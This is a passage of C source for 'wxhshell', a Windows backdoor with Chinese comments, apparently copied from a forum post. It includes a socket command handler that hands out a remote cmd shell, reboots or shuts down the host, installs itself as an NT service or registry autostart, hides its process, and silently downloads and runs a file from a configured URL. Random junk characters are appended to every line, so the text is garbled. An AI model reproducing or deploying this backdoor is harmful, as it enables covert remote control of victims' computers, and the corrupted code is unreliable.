  // 帮助 i6D66E  
  case '?': { Q"sszz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "\M^jO  
    break; S -KHot ?  
  } >-Q=o,cl%3  
  // 安装 $n@B:kv5p  
  case 'i': { L)j<;{J/Q0  
    if(Install()) "E )0)A3=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !%%(o%bi~  
    else K-drN)o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )Fh5*UC  
    break; \L{V|}"X  
    } yMbg1+:   
  // 卸载 ;*XH[>I  
  case 'r': { VRa>bS  
    if(Uninstall()) n|f Huv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +yo1&b R/  
    else =F"vL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $fl+l5?9  
    break;  a EmLf  
    } ,fW%Qv  
  // 显示 wxhshell 所在路径 C{8(ew  
  case 'p': { lr_c  
    char svExeFile[MAX_PATH]; P+t`Rw  
    strcpy(svExeFile,"\n\r"); Ov PTgiI!N  
      strcat(svExeFile,ExeFile); "s5[w+,R  
        send(wsh,svExeFile,strlen(svExeFile),0); @fG 'X  
    break; rW B/#m  
    } Dk`(Wgk2  
  // 重启 f jm(C#^-  
  case 'b': { s+OXT4>+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jQrw^6C  
    if(Boot(REBOOT)) p;<brwN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YPNG9^Y  
    else { IG=#2 /$  
    closesocket(wsh); |#?:KvU97E  
    ExitThread(0); #J09Eka;J  
    } ZQY?wO: [  
    break; D>efr8Qd@  
    } s'JbG&T[J  
  // 关机 yRv4,{B}X>  
  case 'd': { ]ovb!X_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hO] vy>i;  
    if(Boot(SHUTDOWN)) H$={i$*,Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M"Q{lR  
    else { ];8S<KiS~  
    closesocket(wsh); -oR P ZtW  
    ExitThread(0); R /0zB  
    } ZF~@a+o  
    break; ,37\8y?o\  
    } 5VR=D\j  
  // 获取shell qz6@'1  
  case 's': { G  Ps//  
    CmdShell(wsh); ;2jH;$HZ  
    closesocket(wsh); /Mmts=^Ja  
    ExitThread(0); Y~[k_!  
    break; {YigB  
  } K@>($BX]  
  // 退出 HS >B\Ip"  
  case 'x': { aT"0tn^LO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^(on"3sG  
    CloseIt(wsh); !b4v}70,  
    break; s2*~n_B  
    } -h8@B+  
  // 离开 y0_z_S#gO  
  case 'q': { [h[@? 8vB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e> -fI_+b  
    closesocket(wsh); h"$)[k~  
    WSACleanup(); mfCp@1;26  
    exit(1); {k8R6l1  
    break; ~D\zz }l  
        } V Bv|7S  
  } oo2CF!Xy  
  } <<l1 zEf@  
YgL{*XYAt  
  // 提示信息 >PmnR>x-rj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S";c7s  
} &f($= 68  
  } !THa?U;  
c%@< h6  
  return; '4"c#kCKL  
} S-%itrB*  
[2\jQv\Y  
// shell模块句柄 }^tW's8  
int CmdShell(SOCKET sock) ~6Pv5DKq  
{ 8$`$24Wx  
STARTUPINFO si; ~KP@wD~  
ZeroMemory(&si,sizeof(si)); 1'4?}0Dok  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +LwwI*;b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _{&bmE  
PROCESS_INFORMATION ProcessInfo; =}UcYC6l  
char cmdline[]="cmd"; =k^ d5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hnBX enT6  
  return 0; 7 tQ?av  
} 8@A}.:  
wU(!fw\  
// 自身启动模式 n4InZ!)  
int StartFromService(void) p!>DA?vF  
{ '@dk3:3t  
typedef struct >yf}9Zs  
{ ~`X$b F  
  DWORD ExitStatus; g$ h`.Fk,  
  DWORD PebBaseAddress; TY;%nT  
  DWORD AffinityMask; 7 >-(g+NF!  
  DWORD BasePriority; .oH)eD  
  ULONG UniqueProcessId; i[/`9 AK  
  ULONG InheritedFromUniqueProcessId; z07Xj%zX9  
}   PROCESS_BASIC_INFORMATION; 2$TwD*[  
8h,=yAn5  
PROCNTQSIP NtQueryInformationProcess; *3\N j6  
w:aV2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A9Icn>3?`(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F[KM0t!  
#5%ipWPHb  
  HANDLE             hProcess; O;+ sAt  
  PROCESS_BASIC_INFORMATION pbi; L(o#)I>j  
=*{Ii]D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k&lfxb9pd  
  if(NULL == hInst ) return 0; ^C'{# p"  
]FEDAGu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }'`}| pM$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3/V0w|ZgD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .<4U2h  
Qz4Do6#y  
  if (!NtQueryInformationProcess) return 0; T/234;Uf|  
9m%2&fjK^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X wIKpr8  
  if(!hProcess) return 0; <f#pS[A  
z1nKj\AM2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "7J38Ej\  
ZRj/lQ2D  
  CloseHandle(hProcess); moRo>bvN~  
?7uK:'8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x %W%  
if(hProcess==NULL) return 0; *i>hFNLdOM  
NA=m<n#  
HMODULE hMod; 4*'ZabDD  
char procName[255]; b_f"(l8'S  
unsigned long cbNeeded; N\anjG  
zl<D"eP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <:4b4Nl  
SZvp %hS0  
  CloseHandle(hProcess);  [ J4n%  
CsEU:v  
if(strstr(procName,"services")) return 1; // 以服务启动 ny:/a  
RTr"#[  
  return 0; // 注册表启动 I]a [Ngj  
} f7/M_sx  
P'^& SK  
// 主模块 MM6PaD{  
int StartWxhshell(LPSTR lpCmdLine) RFPcH8-u7  
{ KAgxIz!^-1  
  SOCKET wsl; |$g} &P8;  
BOOL val=TRUE; _rg*K  
  int port=0; Va[t'%~&zR  
  struct sockaddr_in door; liMw(F2  
QmMA]Q  
  if(wscfg.ws_autoins) Install(); X?o6=)SC|  
5mX^{V&^  
port=atoi(lpCmdLine); YC(X= D  
wxJoWbn  
if(port<=0) port=wscfg.ws_port; ,Xxp]*K2  
.}Eckqkp  
  WSADATA data; 6O_l;A[=1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NOmFQ)/ &  
rl,i,1t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   86);0EBX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); | {Q}:_/q  
  door.sin_family = AF_INET; 0?cJ>)N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $,B;\PX  
  door.sin_port = htons(port); (8~D ^N6Z  
DMOP*;Uk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { UF$O@l  
closesocket(wsl); +8Y|kC{9"  
return 1; g7{:F\S  
} GI@;76Qf  
C3'?E<F  
  if(listen(wsl,2) == INVALID_SOCKET) { 5O;D\M{>  
closesocket(wsl); l#~pK6@W  
return 1; M%WO  
} j2%fAs<  
  Wxhshell(wsl); a"`> J!  
  WSACleanup(); "T*1C=  
sX-@ >%l  
return 0; 3m$ck$  
[8Fn0A  
} djqw5kO:R  
"L!U7|9J  
// 以NT服务方式启动 N>CNgUyP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :| !5d{8S8  
{ eV~"T2!Sb  
DWORD   status = 0; b +Z/nfS  
  DWORD   specificError = 0xfffffff; Ahc9HA2  
D8{ ,}@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $+PyW( r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =K_&@|f+B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |*DkriYY  
  serviceStatus.dwWin32ExitCode     = 0; -{q'Tmst  
  serviceStatus.dwServiceSpecificExitCode = 0; ?C- ju8]|  
  serviceStatus.dwCheckPoint       = 0; U1(cBY  
  serviceStatus.dwWaitHint       = 0; v!$:t<-5N  
mT #A?C2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o+.ySSBl+  
  if (hServiceStatusHandle==0) return; `F]  
pXvys] @  
status = GetLastError(); \ C>+ubF  
  if (status!=NO_ERROR) Zl{9G?abCT  
{ `sDLxgwI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v^)B [e!  
    serviceStatus.dwCheckPoint       = 0; UB+7]S  
    serviceStatus.dwWaitHint       = 0; 4oL .Bt  
    serviceStatus.dwWin32ExitCode     = status; OL%}C*Zq  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4H NaE{O4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /4N?v. jf  
    return; +prUau*  
  } ns *:mGh  
_8!x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0X4)=sJP  
  serviceStatus.dwCheckPoint       = 0; 3y,2RernK  
  serviceStatus.dwWaitHint       = 0; @biU@[D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -+M360  
} *nc3A[B#C  
f'w`<  
// 处理NT服务事件,比如:启动、停止 {> <1K6t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7XLqP  
{ qWx{eRp d  
switch(fdwControl) y/:%S2za>  
{ C"$~w3A k  
case SERVICE_CONTROL_STOP: B"zB=Aw  
  serviceStatus.dwWin32ExitCode = 0; Xk/iyp/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~y?Nn8+&f  
  serviceStatus.dwCheckPoint   = 0; #oR`_Dm)P  
  serviceStatus.dwWaitHint     = 0; \XYidj  
  { )2#&l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "LJV}L  
  } ca3SE^  
  return; q"6$#o{~U  
case SERVICE_CONTROL_PAUSE: IUDH"~f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~Uey'Xz  
  break; ;^u,[d  
case SERVICE_CONTROL_CONTINUE: H  XFY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z&B9Yu4M7  
  break; ];"40/X  
case SERVICE_CONTROL_INTERROGATE: l($ 8H AJ  
  break; g{i= $xc  
}; 5IOGH*'U8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \*'@F+  
} Kn<+Au_]L  
Z4c'1-lh  
// 标准应用程序主函数 /qMnIo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) KeRC8mYp  
{ xm1'  
K~2sX>l  
// 获取操作系统版本 j*[P\Cm  
OsIsNt=GetOsVer(); /zb/ am1#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9bM kP2w>  
ivn2   
  // 从命令行安装 D[?;+g/  
  if(strpbrk(lpCmdLine,"iI")) Install(); !icI Rqcf=  
w-2#CX8jY  
  // 下载执行文件 PTLlLa85<  
if(wscfg.ws_downexe) { Z^z{, u;!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2~l7WW+lx,  
  WinExec(wscfg.ws_filenam,SW_HIDE); F_9 4k  
} PH%'^YAl7  
#ACT&J  
if(!OsIsNt) { sW'_K.z  
// 如果时win9x,隐藏进程并且设置为注册表启动 EI7n|X a1q  
HideProc(); [3s-S+n @  
StartWxhshell(lpCmdLine); GlTpK^.  
} Kw$@_~BJ6  
else S9] I [4  
  if(StartFromService()) ~]QQaP  
  // 以服务方式启动 cm_5,wB(w  
  StartServiceCtrlDispatcher(DispatchTable); &P>& T  
else !02y'JS1  
  // 普通方式启动 hc[J,yG  
  StartWxhshell(lpCmdLine); '|Bk}pl7  
IW&*3I<K  
return 0; 0ju-l= w  
}
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只看该作者 1 发表于: 2006-10-10
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